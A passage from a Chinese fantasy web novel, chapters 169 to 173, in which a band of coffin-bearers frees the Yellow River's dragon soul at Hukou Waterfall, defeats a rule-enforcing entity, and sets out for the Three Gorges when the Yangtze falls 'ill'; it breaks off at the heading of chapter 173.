“张金城说错了,这里不是‘棺头’,这里是‘灵堂’。”
“黄河的龙魂,
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没有死。”
“它被困在这瀑布里,被千年的煞气日夜冲刷,哀嚎了千年。”
“它在求救。”
“它在等我们……来给它抬棺。”
所有人都僵住了。
张金城更是浑身剧震,一个念头贯穿天灵盖,让他瞬间明白了什么,又瞬间陷入了更深的恐惧。
“抬……抬龙魂?疯了!陈八爷,您是疯了!那是龙魂!是神州龙脉的精魄!凡人之躯,怎么可能承载?”
“谁说我们是凡人?”
陈义咧嘴一笑,那笑容里,是睥睨天下的狂。
“我们是抬棺匠。”
他看向自己的七个兄弟,伸出手,重重拍在大牛的肩膀上。
“今天,咱们不抬棺材。”
“咱们来抬一条龙!”
“义字堂,布阵!”
没有乌木杠木,没有青铜巨棺。
八个人,以一种玄奥的方位瞬间站定。
陈义居首,为“杠头”。
大牛、胖三、猴子、老七……七人依次排开,手臂相连,气息相通。
“八仙抬棺阵,无棺之阵!”
“以我等凡人之躯,筑阳气之舟!”
“以我等兄弟之义,凝撼世之力!”
张金城用尽最后一丝力气,咬破指尖,在八人的眉心,各自点上一粒朱砂血。
摸金一派最本源的护身秘法——“神光护灵”。
“八爷!诸位!张金城……只能送你们到这了!”他嘶声喊道。
陈义回头,对他重重点了点头。
然后,他猛地转向那咆哮的瀑布,胸中一口积攒了九天九夜的浊气,伴随一声响彻云霄的怒吼,轰然喷出!
“黄河龙魂在上!”
“炎黄执绋人,义字堂陈义,率七兄弟!”
“今日,前来为您——”
“起——灵——!”
一声“起灵”,如天宪敕令。
那震耳欲聋、万古不休的瀑布轰鸣,竟为此出现了刹那的死寂。
就在这万分之一秒的停顿里,八道身影,如同一支射向深渊的箭。
义无反顾。
冲进了那道连接天地、奔腾不休的暗褐色水幕之中!
没有退路。
不成功,便与这龙魂一起,永世沉沦!
第169章 凡人之躯,敢抬龙魂!
一头扎进壶口瀑布,整个世界瞬间被颠覆。
那不是水。
是凝固了千年的怨与痛,是彻底液态化的绝望。
每一滴都重逾水银,每一寸都寒彻骨髓。
外界雷鸣般的轰响在此地消失,化作一种无处不在的低沉哀鸣。
亿万生灵的哭嚎,直接在他们脑海、在他们灵魂深处炸开。
“稳住!”
阵中,响起陈义的暴喝,声音却被沉重的水压挤压到变形,成了深海传来的闷响。
“八仙抬棺”无棺之阵,在入水的瞬间便承受了崩山裂海般的冲击。
八人构成的阳气场剧烈摇晃,如同被砸进万丈深渊的鸡蛋壳。
大牛站在陈义身后,是阵法的第二道承重墙。
他古铜色的皮肤下,肌肉虬结如老树盘根,却依旧被压得双膝一弯,喉头涌上浓重的腥甜。
“嗬!”
他发出一声困兽般的低吼,双脚死死踩在虚空,本就魁梧的身躯竟又硬生生拔高三分,将那股足以压垮山岳的巨力硬顶了回去。
其余六人同样承受着炼狱般的折磨。
他们手臂相连,气息共通,大牛承受的压力,他们每个人都分担了一份。
胖三那张肥脸憋成了猪肝色,豆大的汗珠混着浑浊的河水往下淌,嘴里无声地念叨着什么,给自己鼓劲。
猴子和老七面沉如水,身形被死死钉在原地,每一步移动都需耗费全身气力,脚下的“七星步”走得艰涩无比。
这便是“龙脉悬棺”的第九煞眼,整座大阵的核心——棺头锁龙。
它不是一个点,而是一个由天地伟力与千年煞力共同构筑的、活生生的死亡磨盘。
“跟上我!”
陈义的声音再次传来。
他身为“杠头”,承受着最恐怖的压力,身形却稳如山岳。
那件洗得发白的黑色对襟衫在浑浊的水流中纹丝不动。
他没有用蛮力对抗,而是带领整个阵法,以一种玄奥的韵律,顺着那股哀鸣的节奏,开始缓缓下沉。
他们在“走棺”。
抬棺匠走险路,从不硬闯,讲究一个“借势而行”。
此刻,这充满了毁灭气息的瀑布,在陈义眼中,就是一条通往灵堂的必经之路。
路再险,也得走。
阵法随着陈义的步伐,时而游鱼摆尾,卸开一道暗流;时而磐石落地,硬扛一波煞气冲刷。
八人的呼吸、心跳、步伐,在陈义的引领下,逐渐与那股悲怆的哀鸣融为一体。
他们不再是抗争者,而是变成了这首悲歌的一部分。
众人精神一振,压力骤然一轻。
他们知道,陈义找到了门道。
不知下沉了多久。
在这片隔绝了光与时间的混沌里,他们终于“落”到了底。
脚下并非坚实的河床,而是一种更粘稠、更黑暗的存在,像是凝固的血液,踩上去软绵绵的,还带着一股吸力,要将人的魂魄都拖拽进去。
正前方,无尽的黑暗之中,有什么东西,亮了一下。
那是一双眼睛。
一双比壶口瀑布本身还要巨大的眼睛。
那里面没有神采,没有威严,只有燃烧了千年的疯狂与痛苦。
“吼——”
一声无声的咆哮在所有人心中炸开。
那不是声音,是纯粹的、不加掩饰的灵魂冲击。
胖三闷哼一声,当场七窍渗血,眼神瞬间涣散。
若非身处阵中,被兄弟们的气机牢牢锁住,他这一魂一魄,当场就要被震散。
就连陈义,也感到眉心一阵刺痛,识海中的人皇印金光大放,才将那股疯狂的意志挡在外面。
这就是黄河的龙魂?
没有龙角、龙须、龙鳞。
呈现在众人面前的,是一道巨大到无法想象的、由纯粹的黑气与怨念凝聚成的扭曲轮廓。
它的身躯被九十九条更加粗壮的煞气锁链,死死钉在这片“淤泥”里。
锁链的另一端,连接着黄河沿岸那八处已经被他们破除的煞眼。
他们拔除了钉子,却没能解开锁链。
此刻,这头被囚禁的巨兽,将他们当成了新的折磨者。
巨大的龙魂之影猛地一挣,九十九条锁链绷得笔直,发出令人牙酸的“嘎吱”声。
整个水底世界为之震颤。
一股比先前强大十倍的怨念洪流,化作实质的黑色巨爪,朝着八人组成的“阳气之舟”狠狠拍下!
“结阵!守!”
陈义双目圆睁,须发皆张。
八人瞬间变阵,由前行的“长蛇阵”变为防御的“龟甲阵”。
陈义依旧是阵眼,双臂平举,如同一根撑开天地的杠木。
“以我之身,为尔之棺!”
“以我之阳,净尔之怨!”
“以我之义,承尔之重!”
他没有念咒,只是将抬棺匠最核心的三句规矩,以神魂之力,一字一句地烙印向那只拍下的巨爪。
这三句话,不是挑衅,不是对抗。
而是一种承诺。
一种来自世间最古老职业的、对“死亡”本身的尊重与契约。
——我不是来杀你的,也不是来**你的。
——我是来“收殓”你的。
——你的所有痛苦、所有怨恨、所有不甘,我这座“棺材”,都接下了。
轰!
黑色巨爪重重拍在金色的龟甲阵上。
没有巨响,没有炫光。
那足以撕裂神魂的怨念洪流,在接触到龟甲阵的瞬间,竟如同找到了宣泄口的洪水,疯狂涌入。
“噗!”
大牛、猴子、老七……除了陈义之外的七人,同时喷出一口鲜血。
那鲜血在漆黑的水中,却散发出淡淡的金色光芒。
他们承受的不再是物理攻击,而是黄河龙魂积压了数千年的全部负资产!
那是决堤时的哀嚎,是兵灾下的血泪,是旱涝中的绝望……是整条母亲河在漫长岁月中经历的一切苦难。
这份重量,比一座泰山还要沉重百倍!
七人的身体剧烈颤抖,骨骼发出不堪重负的呻吟,意识在无尽的悲伤中迅速沉沦。
“哭!”
阵法即将崩溃的刹那,陈义发出了一声惊雷般的断喝。
胖三意识模糊:“什么?”
“我让你哭!”陈义的声音带着不容置疑的威严,“你不是会哭丧吗?今天,就给这条河哭!用你最拿手的本
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事,告诉它,它的苦,我们懂!它的冤,我们接!给老子往死里哭!”
胖三一个激灵,瞬间清醒。
他看着前方那痛苦挣扎的巨大龙魂,看着兄弟们惨白如纸的脸,再想想这一路走来的种种艰辛与悲怆。
一股难以言喻的巨大悲痛猛地从心底涌了上来。
他的鼻子一酸,嘴巴一瘪。
“我的妈呀——”
一声惊天动地的哭嚎,划破了这片死寂的水底。
“你死得好惨啊——”
胖三的哭声,带着他独有的、能与天地万物共情的奇特韵律。
他不是在假哭,他是真的悲从中来。
他哭那被钉在河底千年的孤寂,哭那被万民误解的冤屈,哭那想奔流入海却无能为力的绝望。
他一把鼻涕一把泪,哭得撕心裂肺,哭得肝肠寸断。
那原本疯狂冲击着阵法的怨念洪流,竟在这哭声中,微微一滞。
那双燃烧着疯焰的巨大龙眼中,流露出了一丝茫然。
它……听懂了。
它在这哭声里,听到了久违的、被理解的慰藉。
陈义眼中精光一闪,抓住了这稍纵即逝的机会。
他维持着阵法,一步步向前,走到了那巨大的、扭曲的龙头之前。
他伸出手,轻轻按在了那由黑气构成的、布满了裂纹的额头上。
他的声音平静而温和,像是在对一位即将远行的老人说话。
“尘归尘,土归土。”
“生者为过客,死者为归人。”
“你的路,走完了。家,也该回了。”
陈义一字一顿,声音清晰地传入龙魂的意识深处。
“我们,是义字堂的抬棺匠。”
“今日,为你入殓。”
话音落下的瞬间,八人组成的龟甲阵金光大放。
那不再是防御的壁垒,而是一口散发着无尽阳气的、温暖的、坚固的黄金之棺。
疯狂的龙魂之影,在那金光中,渐渐停止了挣扎。
它那庞大的、扭曲的身躯,开始一点点收缩,褪去暴戾与疯狂,露出其中最本源的一点灵光。
那灵光黯淡、疲惫,却纯粹无比。
它安静地,任由那口“黄金之棺”将自己包裹,收殓。
成了!
岸边,一直死死盯着瀑布的张金城,突然看到那暗褐色的水幕猛地一震,颜色似乎变淡了一丝。
他身边的弟子们毫无察觉,他却凭借与地脉的微弱感应,捕捉到了那转瞬即逝的变化。
“他们……他们接到了!”张金城激动得浑身发抖,一口气没上来,剧烈地咳嗽起来。
水底。
陈义和七个兄弟,已将那点龙魂本源,成功“装”进了由八仙阵构成的“棺材”里。
但所有人都知道,真正的考验,才刚刚开始。
入殓,只是第一步。
接下来,是起灵。
他们要将这承载了整条黄河之重的“棺材”,从这九千尺水底,从这千年囚笼中,抬出去!
陈义深吸一口气,感受着阵法核心那让他灵魂都在颤抖的重量,对着身后七个已经面无人色的兄弟,咧嘴一笑。
“抓稳了。”
“咱们……起!”
第170章 不好意思,你无证行医
“起!”
陈义一声令下,字出口,便如山岳倾颓。
“轰——”
八人结成的阳气大阵骤然下沉,脚下那片凝固血浆般的河床淤泥,被生生压出一个数米深的恐怖凹陷。
“呃啊——!”
大牛发出一声野兽濒死般的痛吼,他双臂的骨骼发出令人牙酸的“咔吧”脆响,几乎被那股凭空降下的重量直接碾碎。
这不是在抬棺。
这是在扛起一条奔流了五千年的大河,在扛起一段厚重得无法言说的历史,在扛起亿万生灵的枯荣与悲欢!
龙魂入阵,意味着他们不再是抵御怨念,而是将黄河所有的“因果”与“重量”,一分不差地,实实在在地扛在了自己血肉之躯的肩上。
这份重量,无关物理,超越精神,是纯粹的“存在”之重。
“胖三!哭!别停!”
陈义的脸因极致的压力而扭曲,狰狞的青筋从脖颈疯狂蔓延至额角,整个人看起来像一尊即将开裂的石像。
“八爷……我哭不出来了啊!”胖三的嗓子彻底喊哑,眼泪早已流干,只剩下破风箱般的干嚎,“肚子里真没货了!”
“没货就现编!”陈义声嘶力竭地怒喝,“想你藏床底的私房钱被你媳妇一锅端了!想你买的彩票跟头奖就差一个号!给我想,给这龙魂找共鸣!”
胖三闻言,神情一滞。
脑海里瞬间浮现出自己辛辛苦苦攒下的那几张“老人头”,被自家婆娘翻出来时,她脸上那“和善”到极致的笑容。
一股难以言喻的巨大悲愤,比黄河决堤还要汹涌地直冲天灵盖。
“我的钱啊——!我那还没捂热的老婆本啊——!”
这一嗓子,嚎得比刚才**亲爹还要惨烈百倍。
那股子发自肺腑、痛彻心扉的“失财之痛”,竟奇迹般地与龙魂那“丧失自由”的千古悲怆,产生了某种跨越物种的诡异连接。
八人肩头的重压,竟真的因此而减轻了一丝。
猴子和老七的脸皮剧烈抽动,险些没绷住阵法,这都什么时候了,这活宝总能整出些阴间活儿。
“撑住!走七星,转天枢!向上!”
陈义抓住这千载难逢的机会,立刻下令变阵。
八人迈开沉重如灌铅的步伐,阵法如同一颗逆转乾坤的巨大螺旋钻头,顶着那无边无际的压力,艰难地、一寸一寸地向上攀升。
就在这时,异变陡生!
整个水底世界,毫无征兆地剧烈震动。
那九十九条死死锁住龙魂的煞气锁链,因龙魂本源被“抬”起而失去了目标,开始在水中疯狂地扭曲、抽搐。
紧接着,一道冰冷的、不属于这个维度的意志,骤然苏醒。
这意志并非来自龙魂,而是来自更深、更古老、更黑暗的河床之下。
“窃龙者……死。”
一个简单的念头,没有情绪,却似天条律法,在八人心中同时炸响。
随着这个念头降临,那九十九条煞气锁链仿佛找到了新的主人,齐刷刷地调转矛头,尖端化作锋利无匹的黑色长矛,裹挟着撕裂万物的死亡规则,从四面八方攒刺而来!
更可怕的是,他们脚下的“淤泥”河床,也活了。
无数由污泥和骸骨凝聚的漆黑手臂,破土而出,死死抓住了他们的脚踝,要将他们重新拖回地狱。
“不好!”
岸上的张金城猛地站起,脸色煞白如纸。
“是‘钉龙者’!设下这‘九曲断魂悬棺’的那个东西,留了后手!”
他看得分明,壶口瀑布下方那深不见底的石槽河床上,正浮现出无数扭曲的古老符文,组成一个巨大无比的“镇”字,源源不断地产生新的煞气,操控着一切。
水底,陈义一行人瞬间陷入死局。
他们正以全部心神承载龙魂,阵法的所有力量都用在了“抬”与“抗”上,根本无法分心应对这些致命的攻击。
“猴子!老七!缚龙索!”陈义当机立断。
“是!”
两人无法松手,只能用牙咬住绳头,靠腰腹之力猛地甩出金丝绳索,如同两条金色灵蛇,瞬间缠住两根爆射而来的煞气长矛,将其带偏撞毁。
“大牛!金瓜锤!”
“吼!”
大牛爆吼,另一只手腕一抖,八棱金瓜锤旋转飞出,在一连串刺耳的撞击声中砸碎了三四根长矛,便力竭坠落。
然而,这只是杯水车薪。
眼看数十根死亡长矛就要贯穿大阵,陈义眼中血光一闪,闪过一抹决绝的疯狂。
“守好棺材!”
他对着兄弟们低吼一声,竟在阵法运转中,强行将自己作为“杠头”所承受的绝大部分“龙魂重量”,刹那间转移到了身后的七个兄弟,尤其是大牛身上!
“噗——”
大牛如遭亿万吨巨锤正面轰击,整个人被压得矮了半截。
他双眼瞬间充血爆开,七窍之中喷出的不再是血丝,而是血雾!
连惨叫都发不出来,大牛死死咬碎了满口钢牙,用尽生命最后一丝力气,支撑着不让自己跪下。
他知道,他若跪,阵便破,满盘皆输!
而卸下重担的陈义,获得了刹那的自由。
他身形一闪,如一道逆流而上的黑色闪电,主动迎向了那股冰冷意志的源头——河床中心!
“装神弄鬼的东西,给老子滚出来!”
陈义右手并指如剑,眉心那枚“兵主之鳞”骤然亮起,一道凝练到极致的血色杀伐之气,化作无形利刃,狠狠斩向河床!
他要围魏救赵,逼那幕后黑手现身!
“嗤啦——”
血色杀气轻易划开了污泥骸骨组成的地面。
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没有鲜血,没有尸体。
被斩开的河床之下,是一片更加深邃的、能吞噬一切光线与感知的绝对黑暗。
那股冰冷的意志,从黑暗中传出一丝轻蔑的波动。
“蝼蚁……也配撼天?”
话音未落,那道裂缝中,猛地伸出了一只手。
一只由纯粹黑暗构成、却又仿佛蕴含着至高规则的手。
它出现的一瞬,周围的水流、煞气、怨念,乃至时间与空间,都陷入了绝对的静止。
它无视距离,直接出现在陈义面前,五指张开,抓向他的天灵盖。
这一抓,没有杀气,没有威势,却带着一种“理所应当”的霸道。
它要捏碎你的头,就像人要呼吸,是天经地义、不容反抗的法则。
这是降维打击!
陈义全身的血液都仿佛冻结了。
他所有的底牌,人皇印、社稷鳞,在这一刻都失去了意义。
因为对方,根本不和你讲“规矩”。
它,就是规矩本身!
完了!
陈义脑中闪过这两个字。他可以躲,但他身后,是七个用命扛着龙魂的兄弟。
他不能躲!
就在那只黑暗之手即将触碰到他头皮的千钧一发之际。
陈义眼中疯狂之色更盛,竟放弃了一切抵抗,反而将所有心神沉入识海,对着那面古朴的铜镜,发出了一声源自灵魂的咆哮!
“你不是能看病吗!”
“给老子看!”
“给它看!”
“嗡——”
一声古老悠远的钟鸣,在陈义的识海深处轰然响起。
一直沉默如记录者的“病历铜镜”,镜面之上,竟真的在他的意志驱动下,强行浮现出了一行扭曲的上古文字!
【病症】:天道残片污染(钉龙之契)
【诊断】:外来规则侵染神州地脉,窃取权柄,拟态执法,属非法行医。
【处方】:吊销其行医资格。
铜镜的反应,不是攻击,不是防御,而是一次冷静到冷酷的“诊断”。
它将那只代表着至高法则的黑暗之手,判定为了——非法行医!
那只手,在距离陈义头顶一寸的地方,猛地停住了。
那股冰冷的意志,第一次出现了一丝剧烈的波动,不是轻蔑,不是愤怒,而是一种……无法理解的错愕。
这荒谬绝伦的一幕,让陈义也愣住了。
一个疯狂的念头,在他心中油然而生。
他缓缓抬起手,没有动用任何力量,只是像一个正在执法的交通警察,对着那只散发着恐怖气息的黑暗之手,做了一个“停止”的手势。
然后,他清了清嗓子,用一种前所未有的、理直气壮的语气,开口了。
“这位……‘同行’?”
“不好意思,你过界了。”
“这片儿,归我管。”
第171章 执绋黄河
那只由纯粹黑暗构成的巨手,就那么僵在半空。
它散发的恐怖气息,仿佛连时间的流逝都一并冻结。
一道冰冷、混乱、无法理解的意志,第一次涌入陈义等人的脑海。
它,是“天”的一部分,是制定此界法则的残片所化。
它钉死龙脉,**气运,奉的是更古老的“契约”,是此方天地的“法”。
眼前这个渺小的人类,凭什么?
他凭什么说自己“过界”?
又凭什么,能引动那面连“天”都感到忌惮的病历铜镜?
那面镜子,记录的是天地万物的“病”,审判的是宇宙洪荒的“错”,其根源甚至比所谓的“天道”还要古老。
“……同……行?”
冰冷的意志在众人的精神层面发出机械的质问,每一个字都带着刮骨钢刀般的寒意。
“你,是什么东西?”
“我?”
陈义咧嘴一笑,露出一口森然的白牙,那笑容里带着三分痞气,七分不容置喙的霸道。
“我是个抬棺匠。”
他用下巴指了指身后那个由兄弟们用血肉阳气扛起的“黄金之棺”,又指了指自己。
“按我们这行的规矩,出殡的时候,生人回避,神鬼让路。”
“你现在拦着我的出殡队伍,还想对‘杠头’动手。”
陈义顿了顿,脸上的笑容缓缓收敛,一种极端的冷漠爬上他的眼角。
“朋友,你这是在刨我们抬棺匠的活儿,砸我们的饭碗啊。”
“规……矩?”
冰冷的意志似乎在咀嚼这个它从未理解过的词汇。
在它的认知里,只有强与弱,没有对与错。
“对,规矩。”
陈义点头,眼神锋利得像能剖开这浑浊的河底。
“我的规矩就是,我抬的棺,天王老子也得给我让出一条道来!”
“你,不例外!”
话音落下的瞬间,陈义猛地向前踏出一步!
没有攻击,也没有防御。
他只是以一个抬棺匠“杠头”的身份,继续履行自己的职责——开路!
“起——灵——!”
这一声,不再是单纯的号令。
它引动了“病历铜镜”那一丝至高的“审判”之力,是对这方天地所有“不合规矩”之事的最终裁决!
轰!
那只黑暗巨手,在这声“起灵”之下,竟发出一声不甘的嘶鸣,如同被烈阳照射的冰雪,从指尖开始,一寸寸地崩解消散!
那些攒刺向龟甲阵的煞气长矛,那些抓住众人脚踝的骸骨手臂,也在同一时间失去了所有力量,化为最原始的淤泥和黑气,溃散无踪。
河床深处那个巨大的“镇”字符文,光芒疯狂闪烁,最终彻底黯淡,归于沉寂。
那道冰冷的意志,在消散的最后一刻,留下了一句充满了怨毒与不解的诅咒。
“你会……后悔的……凡人……”
陈义冷哼一声,眼皮都懒得抬。
刨我活儿还想让我后悔?
下辈子吧!
危机解除。
但真正的挑战,才刚刚开始。
“噗通!”
身后一声闷响。
是硬扛了龙魂重量的大牛,在压力骤减的瞬间,再也支撑不住,膝盖骨重重砸进河床的淤泥里,整条腿都在剧烈颤抖。
他身后的胖三、猴子等人,也一个个身形巨震,血管里的颜色仿佛都被抽干了,脸上没有一丝血色。
“还没完!”
陈义回头暴喝。
“龙魂还没出水!都给我站起来!”
众人闻言,一个个死死咬住舌尖,用剧痛逼出最后一丝力气,强行将快要散架的身体重新绷直,稳住了阵型。
陈义深吸一口气,将心神重新沉入阵法核心。
没有了“钉龙者”的阻碍,他们唯一的敌人,就是这龙魂本身那无可估量的、**万古的重量。
“听我号令!”
“一步,登天!”
陈义双目神光暴涨,八仙抬棺阵的阳气毫无保留地疯狂燃烧。
八道身影,如同八支金色的火箭,扛着那口无形的“黄金之棺”,以一种决绝到惨烈的姿态,冲破层层水压,向着那遥远的光明,笔直升去!
……
壶口岸边。
张金城和一众摸金校尉的弟子们,已经等得心焦如焚。
距离陈义八人冲入瀑布,已经过去了整整一天一夜。
那道暗褐色的水幕,除了最初颜色变淡了一丝外,再没有任何变化。
那股绝望的哀嚎,依旧在天地间回荡不休。
“师父……陈八爷他们,会不会……”一个年轻弟子嘴唇发白,声音里带着哭腔。
张金城没有说话。
他只是死死盯着瀑布,双眼布满了血丝,干裂的嘴唇抿成一条绝望的直线。
他比任何人都清楚,在那种地方待一天一夜,生还的希望,已经无限趋近于零。
难道,真的失败了?
难道这神州龙脉,终究要……
就在他心中升起这个念头的瞬间。
“轰隆——!”
一声无法用言语形容的巨响,从壶口瀑布的核心处悍然炸开!
那奔腾了千百年、从未停歇过的巨大水幕,竟从中间,被一股无形的力量,硬生生撕开了一道巨大的口子!
下一秒。
在所有人凝固的目光中。
八道身影,从那道裂口中,一步一步地“走”了出来。
他们衣衫褴褛,浑身浴血。
每个人的脸上都写满了极致的疲惫,仿佛灵魂都已被榨干,下一秒就会化为飞灰。
但他们没有倒。
八人,依旧保持着那个古老的、玄奥的抬棺阵型。
陈义在前,七人在后。
手臂相连,气息共通。
他们的步伐沉重无比,每一步踏在虚空,都让周围的空间发出一阵不堪重负的呻吟。
他们像是在扛着一座看不见的山。
他们,在抬着黄河的龙魂!
“天……”
张金城身后的弟子们,全都傻了,一个个张大了嘴巴,忘记了呼吸。
眼前这一幕,已经超越了他们对“术法”、“神通”的所有认知。
这不是法术。
这是神迹!
是以凡人之躯,行逆天之举,为一条沉沦了千年的大河,举行一场旷世绝伦的葬礼!
陈义八人,就这么扛着无形的龙魂,一步步地,从瀑布的中心,走到了岸边。
当陈义的脚,踏上坚实土地的瞬间。
“嗡——”
天地间,响起了一声悠远而喜悦的龙吟。
那声音不再悲怆,不再绝望,充满了新生的力量与解脱的欢愉。
众人脚下的黄河古道,剧烈震动。
从风陵渡,到三门峡,再到洛阳古渡……那九处被陈义他们破除的
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煞眼,在这一刻,同时迸发出璀璨的金光。
九道金光冲天而起,在空中交织成一张覆盖神州大地的金色网络。
而壶口瀑布,那道奔腾不休的暗褐色水流,以肉眼可见的速度,开始褪**气沉沉的颜色。
褐色变淡,化为浑黄,再由浑黄,沉淀为清澈。
雷鸣般的咆哮,也渐渐平息,变成了雄浑壮阔、充满了生命力的奔腾之声。
“九曲断魂悬棺”大阵,在龙魂被“抬”出水面的这一刻,彻底告破!
黄河,活过来了!
它不再是一具被钉死在大地上的“悬棺”,而是真正意义上的,回到了它应有的河道,魂归天地,奔流入海。
“礼……成……”
陈义看着眼前这壮丽的一幕,感受着肩上那股沉重的压力如潮水般退去,化作一股温暖而磅礴的生机反哺回体内。
他沙哑地吐出两个字,再也支撑不住,身体一软,向后倒去。
一只粗壮的手臂,及时从后面扶住了他。
是浑身是血,却咧着嘴傻笑的大牛。
“八爷,咱……咱成功了!”
“咳咳……那当然。”
陈义靠在大牛身上,咳出两口带着血丝的唾沫,脸上却露出了一个虚弱而满足的笑容。
胖三、猴子、老七……剩下的六个兄弟,也在同一时间,如同被抽掉了骨头,一个个软倒在地。
他们躺在地上,看着湛蓝的天空,大口大口地喘着粗气,脸上却带着劫后余生的、酣畅淋漓的傻笑。
这活儿,太**值了!
张金城带着弟子们,跌跌撞撞地跑了过来。
他看着眼前这八个如同从地狱里爬出来的汉子,看着他们身上那股子虽疲惫至极却豪气干云的精气神,嘴唇哆嗦着,竟一句话也说不出来。
“扑通”一声。
他对着陈义,对着义字堂的所有人,直挺挺地跪了下去。
他不是代表自己跪。
他是代表摸金一派,代表这神州大地,代表这天下苍生,跪谢这份再造山河的恩情!
“八爷……”张金城老泪纵横,“此恩此德,我摸金校尉,永世不忘!”
陈义摆了摆手,有气无力地说道:“行了,别整这些虚的,你那点血没白流。”
他喘匀了气,从大牛身上站直,走到河边,掬起一捧清澈的河水,洗了把脸。
冰凉的河水让他精神一振。
他抬起头,目光越过奔腾的壶口,望向那被重新梳理过的、气运勃发的神州大地。
识海中,那面“病历铜镜”悄然浮现。
镜面上,原本代表着黄河的巨大黑色病灶,已经彻底消失。
取而代之的,是一条金光灿灿、蜿蜒东流的巨龙图腾。
但在图腾之下,一行新的小字,缓缓浮现。
【并发症】:旧约已破,天外有神,垂眸而视。
【风险评级】:未知。
陈义的眉头,微微皱起。
他知道,“钉龙者”背后的东西,比他想象的,要麻烦得多。
不过,那都是以后的事了。
他转过身,看着身后东倒西歪,却一个个笑得像个傻子似的兄弟们,心中的那点阴霾一扫而空。
“都起来,别跟死狗一样躺着。”
“活儿,干完了。”
陈义伸了个大大的懒腰,浑身骨节发出一阵噼里啪啦的爆响。
“收工!”
第172章 刚抬完黄河,长江也来报丧!
黄河岸边,空气里混杂着水汽、泥土和一股淡淡的焦糊味。
义字堂的兄弟们瘫了一地,像是刚从水里捞出来,又被架在火上烤了一轮的鱼干。
一个个脸上挂着同款傻笑,疲惫到骨髓,却又畅快到灵魂深处。
“哎哟喂……我的腰……”
胖三像条蛆一样在地上拱着,五官皱成一团:“我感觉我这身膘,刚才被那条老泥鳅当磨盘使了。”
他摸了摸空空如也的口袋,哭腔都带上了。
“我攒着娶八房姨太太的私房钱啊!刚才哭丧哭上了头,全当冥币撒出去了!八爷,这必须算工伤!得加钱!三倍!”
没人理他。
大牛枕着自己比胖三腰还粗的胳膊,鼾声如雷,睡梦里都咧着嘴。
猴子和老七互相龇牙咧嘴地检查着伤口,疼得直抽冷气。
这场为黄河举办的旷世大丧,榨干了他们每个人的最后一滴阳气。
张金城领着一众摸金弟子,屏息静气地立在一旁,姿态恭敬得如同私塾里等待先生考校的学童。
他望向陈义的眼神,早已超越了敬畏,那是一种凡人仰望神祇的虔诚。
撬天门,抬龙魂。
这等手段,早已不是“术”的范畴,而是在重订天地的“法”。
“陈八爷。”张金城上前一步,声音因激动而沙哑,“此番救我神州祖脉,功在千秋!我张金城,代表天下摸金校尉立誓!”
“从今往后,摸金一门,唯义字堂马首是瞻!”
“我派千年舆图、秘藏、堪舆心得,尽数奉上,供八爷调遣,绝无二话!”
言罢,他双膝一软,便要行那五体投地的大礼。
“行了。”
陈义一抬手,一股无形的气劲托住了他。
他刚用清澈的河水洗了把脸,精神稍好,但脸色依旧苍白如纸。
“别搞这些虚的。”
“你那些压箱底的家当,我收了。往后,有的是你这‘土行孙’派用场的地方。”
张金城身子一震,旋即是难以抑制的狂喜。
陈义这话,是真正将摸金一派,纳入了他的羽翼之下。
这是收编,不是利用。
陈义不再理他,心神沉入识海。
古老的病历铜镜静静悬浮,镜面上,那代表黄河的巨大黑色病灶已然不见,取而代代的是一条栩栩如生、蜿蜒磅礴的金色巨龙。
浩荡的生机,几乎要从镜中满溢而出。
但在那金色图腾之下,一行小字,如同一根芒刺,扎在陈义的感知里。
【并发症】:旧约已破,天外有神,垂眸而视。
“旧约……”
陈义咀嚼着这两个字。
钉龙者是天道残片所化,奉的是**神州气运的古老契约。
自己破了这规矩,等于是在一份天地合同上,硬生生撕开了一个口子。
他正思索间,兜里手机的震动声打破了沉寂。
秦老的加密线路。
陈义划开接听。
“陈义!黄河!”秦老的声音发紧,透着一股压不住的狂喜和震骇,“水文监测站疯了!所有数据都疯了!水质在一小时内从劣五类提到二类!壶口瀑布的流速、色泽、含沙量……全面恢复到历史最佳!你……你到底做了什么?!”
“没什么。”陈义的语气很淡,“给母亲河办了场白事,送它入土为安,它就活了。”
电话那头,死寂了足足十秒。
秦老似乎在用他一生的唯物主义世界观,来消化这句神话。
“……好!好!”秦老的声音恢复了镇定,却陡然一转,沉重如铁,“但有件怪事。就在黄河异变的同时,长江流域十三个秘密监测点,同时拉响了最高警报!”
陈义的眼皮,猛地一跳。
“警报?”
“不是洪水,不是地震。”秦老的声音压得极低,仿佛怕惊动什么东西,“是一种无法解析的次声波,源头直指三峡大坝深处!”
“同时,整个长江经济带,所有精密制造业的良品率,出现了无法解释的断崖式暴跌!”
“沿江数千万居民的睡眠报告,集体出现了‘鬼压床’和‘溺水感’的噩梦!”
“专家组已经吵疯了,找不到任何科学解释!”
秦老说的每个字,都像一记重锤。
陈义闭上眼,再次内视病历铜镜。
镜面上,金色黄龙之下,一条更雄壮、更庞大的青色巨龙,盘踞着神州南方的广
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袤疆域。
长江。
此刻,这条青色巨龙却龙鳞黯淡,气息萎靡。
在它心脏的位置,三峡所在的区域,一根巨大无比、闪烁着金属灰泽的“钉子”,贯穿了它的龙脊!
那钉子的形状,赫然是三峡大坝的缩影!
铜镜上,关于黄河的批注,悄然改变。
【主宿】:长江龙脉。
【病症】:天堑锁喉,龙气淤塞,神魂**。
【并发症】:阴阳失衡已成定局,旧日之主,即将苏醒。
【风险评级】:灭世。
陈义的瞳孔,骤然缩成一个针尖。
他懂了。
黄河属阴,长江为阳。
他治好了阴龙,让其复苏,却导致了天平的另一端,彻底失衡。
那被现代工程学巅峰之作**的长江阳龙,它的病,被无限放大了!
更可怕的,是那句“旧日之主,即将苏醒”。
“钉龙者”奉的是旧约。
那么,长江底下,又镇着什么东西?
“陈义?还在吗?”秦老的声音透着焦急。
“在。”陈义吐出一口浊气,“秦老,事情比你想象的要严重。”
“长江……也病了。”
“病得比黄河更重,病根,就在那座大坝上。”
“什么?!”秦老失声。
“意思是,”陈义的语气平静得可怕,“刚给母亲河办完丧,就得给父亲江准备后事了。”
他挂断电话,转过身。
身后,那群刚爬起来,正勾肩搭背,准备欢呼收工回家的兄弟们,脸上的笑容还没来得及完全绽放。
“都别笑了。”
陈义的声音不大,却让所有人的笑容,瞬间凝固。
胖三一脸茫然:“八爷,活儿不是干完了吗?不收工?”
陈义摇了摇头。
他的目光扫过每一个兄弟的脸,最后落在那奔腾不息、重获新生的黄河之上。
他缓缓开口,声音传遍了整个河岸。
“收工?”
“这活儿,才刚开了个头。”
他抬手,指向南方。
那片被长江水系滋养的,广袤无垠的土地。
“义字堂,开拔!”
“下一站,三峡!”
第173章 江婆索命,胖三一哭断江流!
三日后,长江,西陵峡。
